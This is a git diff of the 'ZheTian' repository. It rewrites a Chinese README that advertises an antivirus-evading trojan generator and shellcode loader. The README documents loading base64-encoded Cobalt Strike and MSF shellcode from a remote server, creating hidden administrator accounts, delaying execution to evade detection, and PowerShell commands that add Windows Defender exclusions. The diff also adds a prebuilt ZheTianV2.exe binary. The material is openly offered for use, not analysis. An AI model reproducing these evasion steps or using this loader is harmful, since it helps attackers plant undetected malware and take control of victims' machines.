diff --git a/README.md b/README.md index 1fe0d7c..d6a344e 100644 --- a/README.md +++ b/README.md @@ -1,27 +1,40 @@ -![my-logo.png](https://raw.githubusercontent.com/yqcs/ZheTian/master/images/logo.png "my-logo") +![logo](images/logo.png) +# ::ZheTian Powerful Anti Anti-Virus Trojan horse generator / 强大的免杀木马生成器 -# [ZheTian](https://github.com/yqcs/ZheTian/) +## 全新V2上线,Bypass All. -## ZheTian Powerful remote load and execute ShellCode tool,ShellCode免杀加载器 -### 命令: +### V2版本支持Cobalt Strike、MSF原生Shellcode,无需任何处理即可直接使用,指令: +> -o string:选中payload,向同级目录生成一个可执行程序(无需go语言环境) +> +> -m int:选择要生成的系统架构,参数选择32和64,默认选中了64 +> +系统依旧采用了“慢加载”方式,运行约十五秒后才开始执行上线操作 + +![v2](images/v2.png) + +---- + +### V1: +![v1](images/v1.png) +### 参数: > -u string:从远程服务器加载base64混淆后的字符串。 > > -r string:从本地文件内读。 > > -s string:读取无修改的原始文件,只能从本地加载。 > ->-o boolean:向userHome\tmp目录输出一次性可执行文件,体积比主程序小了五六倍,砍去了其他功能,只保留了ShellCode Loader +> -o boolean:向userHome\tmp目录输出一次性可执行文件,体积比主程序小了五六倍,砍去了其他功能,只保留了ShellCode Loader > ->-n string:向管理员组创建用户,-n的参数即为账户,-p的参数为密码。需以管理员身份运行 +> -n string:向管理员组创建用户,-n的参数即为账户,-p的参数为密码。需以管理员身份运行 > ->-c string:直接从命令行获取base64字符串。如:ZheTian -c ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M==... +> -c string:直接从命令行获取base64字符串。如:ZheTian -c ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M==... > -## 示例: +#### 运行示例: -### Base64字符串方式加载: +#### Base64字符串方式加载: 原始python代码: > buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75..." @@ -42,22 +55,22 @@ c、ruby等同理,Java之流的则是去除 ", 0x"。注意,是逗号空格 获取到base64字符串之后可以选择放到远程服务器加载,使用-u 命令即可。也可以放到本地文件内,或者直接使用-c命令以命令行方式运行。如:ZheTian.exe -c ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ== -### 原文件读取类型: +##### 原文件读取类型: 使用 `ZheTian -h `命令可查看支持的语言。推荐使用Java、py、C语言。原文件无需进行任何修改即可直接加载,但是不支持放在远程服务器,只能通过本地 -s 命令读取,如: `ZheTian -s C:/Windows/Temp/payload.java` -### 图示操作过程 +##### 图示操作过程 先生成64位shellcode -![my-logo.png](https://github.com/yqcs/ZheTian/blob/master/images/payload.jpg "my-logo") +![payload](images/payload.jpg) 然后根据需要的命令进行修改 -![my-logo.png](https://raw.githubusercontent.com/yqcs/ZheTian/master/images/code.png "my-logo") +![code](images/code.png) 下面执行示例: -![my-logo.png](https://github.com/yqcs/ZheTian/blob/master/images/c.png "my-logo") +![run](images/run.png) ### 编译: @@ -68,7 +81,7 @@ ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ== 实现无窗口运行,但是360偶尔会识别为恶意程序 -#### 带图标编译: +### 带图标编译: > 先执行:go get github.com/akavel/rsrc > @@ -79,7 +92,7 @@ ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ== > 更多介绍:https://blog.csdn.net/qq_38376348/article/details/108318880 > -## 扩展:windows defender +## 扩展:Windows defender 由于ZheTian的defender免杀效果不稳定,在此推荐一种方式,执行下面命令会分别向defender添加白名单:目录、进程、类型文件 @@ -87,11 +100,11 @@ ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ== > powershell -Command Add-MpPreference -ExclusionPath "C:\tmp" > ->powershell -Command Add-MpPreference -ExclusionProcess "java.exe" +> powershell -Command Add-MpPreference -ExclusionProcess "java.exe" > ->powershell -Command Add-MpPreference -ExclusionExtension ".java" +> powershell -Command Add-MpPreference -ExclusionExtension ".java" > -## 有问题可以提Issues,也可加微信联系 - -![my-logo.png](https://raw.githubusercontent.com/yqcs/ZheTian/master/images/wx.jpg "my-logo") +## 有问题加群反馈!!Issues 一概不处理! + + \ No newline at end of file diff --git a/images/group.png b/images/group.png new file mode 100644 index 0000000..ae40363 Binary files /dev/null and b/images/group.png differ diff --git a/images/c.png b/images/run.png similarity index 100% rename from images/c.png rename to images/run.png diff --git a/images/1.png b/images/v1.png similarity index 100% rename from images/1.png rename to images/v1.png diff --git a/images/v2.png b/images/v2.png new file mode 100644 index 0000000..f514016 Binary files /dev/null and b/images/v2.png differ diff --git a/ZheTian.go b/v1/ZheTian.go similarity index 100% rename from ZheTian.go rename to v1/ZheTian.go diff --git a/ZheTian.manifest b/v1/ZheTian.manifest similarity index 100% rename from ZheTian.manifest rename to v1/ZheTian.manifest diff --git a/ZheTian.syso b/v1/ZheTian.syso similarity index 100% rename from ZheTian.syso rename to v1/ZheTian.syso diff --git a/favicon.ico b/v1/favicon.ico similarity index 100% rename from favicon.ico rename to v1/favicon.ico diff --git a/go.mod b/v1/go.mod similarity index 100% rename from go.mod rename to v1/go.mod diff --git a/go.sum b/v1/go.sum similarity index 100% rename from go.sum rename to v1/go.sum diff --git a/server/cmd.go b/v1/server/cmd.go similarity index 100% rename from server/cmd.go rename to v1/server/cmd.go diff --git a/server/loadFile.go b/v1/server/loadFile.go similarity index 100% rename from server/loadFile.go rename to v1/server/loadFile.go diff --git a/server/memoryInject.go b/v1/server/memoryInject.go similarity index 100% rename from server/memoryInject.go rename to v1/server/memoryInject.go diff --git a/server/netUserAdd.go b/v1/server/netUserAdd.go similarity index 100% rename from server/netUserAdd.go rename to v1/server/netUserAdd.go diff --git a/server/temp.go b/v1/server/temp.go similarity index 100% rename from server/temp.go rename to v1/server/temp.go diff --git a/server/utils.go b/v1/server/utils.go similarity index 100% rename from server/utils.go rename to v1/server/utils.go diff --git a/v2/ZheTian.go b/v2/ZheTian.go new file mode 100644 index 0000000..ba6569b --- /dev/null +++ b/v2/ZheTian.go @@ -0,0 +1,23 @@ +package main + +import ( + "fmt" +) + +func main() { + + fmt.Println(` +▒███████▒ ██░ ██ ▓█████▄▄▄█████▓ ██▓ ▄▄▄ ███▄ █ +▒ ▒ ▒ ▄▀░▓██░ ██▒▓█ ▀▓ ██▒ ▓▒▓██▒▒████▄ ██ ▀█ █ +░ ▒ ▄▀▒░ ▒██▀▀██░▒███ ▒ ▓██░ ▒░▒██▒▒██ ▀█▄ ▓██ ▀█ ██▒ + ▄▀▒ ░░▓█ ░██ ▒▓█ ▄░ ▓██▓ ░ ░██░░██▄▄▄▄██ ▓██▒ ▐▌██▒ +▒███████▒░▓█▒░██▓░▒████▒ ▒██▒ ░ ░██░ ▓█ ▓██▒▒██░ ▓██░ +░▒▒ ▓░▒░▒ ▒ ░░▒░▒░░ ▒░ ░ ▒ ░░ ░▓ ▒▒ ▓▒█░░ ▒░ ▒ ▒ +░░▒ ▒ ░ ▒ ▒ ░▒░ ░ ░ ░ ░ ░ ▒ ░ ▒ ▒▒ ░░ ░░ ░ ▒░ +░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ +░ +:: ZheTian Powerful Anti Anti-Virus Trojan horse generator + //[Version 2.0.0] Github [http://github.com/yqcs/ZheTian]`) + +} diff --git a/v2/ZheTian.manifest b/v2/ZheTian.manifest new file mode 100644 index 0000000..22f9a2c --- /dev/null +++ b/v2/ZheTian.manifest @@ -0,0 +1,22 @@ + + + + + + + + + + \ No newline at end of file diff --git a/v2/ZheTian.syso b/v2/ZheTian.syso new file mode 100644 index 0000000..78ac701 Binary files /dev/null and b/v2/ZheTian.syso differ diff --git a/v2/ZheTianV2.exe b/v2/ZheTianV2.exe new file mode 100644 index 0000000..47415e0 Binary files /dev/null and b/v2/ZheTianV2.exe differ diff --git a/v2/favicon.ico b/v2/favicon.ico new file mode 100644 index 0000000..e89f01e Binary files /dev/null and b/v2/favicon.ico differ diff --git a/v2/go.mod b/v2/go.mod new file mode 100644 index 0000000..b73a5ed --- /dev/null +++ b/v2/go.mod @@ -0,0 +1,3 @@ +module ZheTian + +go 1.18 diff --git a/v2/go.sum b/v2/go.sum new file mode 100644 index 0000000..e69de29